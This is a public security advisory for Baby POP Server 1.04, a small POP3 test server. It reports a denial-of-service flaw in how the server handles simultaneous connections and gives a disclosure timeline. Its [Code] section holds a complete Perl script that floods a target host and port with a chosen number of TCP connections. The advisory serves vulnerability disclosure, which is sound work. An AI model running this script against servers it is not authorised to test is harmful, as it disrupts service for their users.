Baby POP Server 1.04 Denial Of Service

`[DCA-0005]  
  
[Software]  
  
- Baby POP Server  
  
[Vendor Product Description]  
  
- In the past I have done several projects related to e-mail  
(POP3/SMTP/IMAP4). One of the problems (at least in my company) is  
that there are never good test servers available. So that's why I  
decided to create this simple POP3 server, which doesn’t take many  
resources and supports most of the standard POP3 commands.  
  
[Bug Description]  
  
- The POP Server can't handle multiple/simultaneous connections  
leading to Denial-of-Service  
  
[History]  
  
- Advisory sent to vendor on 06/14/2010.  
- No response from vendor  
- Public advisory & exploit 08/02/2010.  
  
[Impact]  
  
- Low  
  
[Affected Version]  
  
- Baby POP Server v1.04  
- Prior versions may also be vulnerable  
  
[Code]  
  
#!/usr/bin/perl  
use IO::Socket;  
  
if (@ARGV < 1) {  
usage();  
}  
  
$ip = $ARGV[0];  
$port = $ARGV[1];  
$conn = $ARGV[2];  
  
$num = 0;  
  
print "[+] Sending request...\n";  
  
while ( $num <= $conn ) {  
system("echo -n .");  
$s = IO::Socket::INET->new(Proto => "tcp", PeerAddr =>  
"$ip", PeerPort => "$port") || die "[-] Connection FAILED!\n";  
  
close($s);  
$num++;  
}  
  
print "\n[+] Done!\n";  
  
sub usage() {  
print "[-] Usage: <". $0 ."> <host> <port> <num-conn>\n";  
print "[-] Example: ". $0 ." 127.0.0.1 110 1200\n";  
exit;  
}  
  
  
[Credits]  
  
Rodrigo Escobar (ipax)  
Pentester/Researcher Security Team @ DcLabs  
http://www.dclabs.com.br  
  
  
[Greetz]  
Crash and all Dclabs members.  
  
  
--   
Rodrigo Escobar (ipax)  
Pentester/Researcher Security Team @ DcLabs  
http://www.dclabs.com.br  
`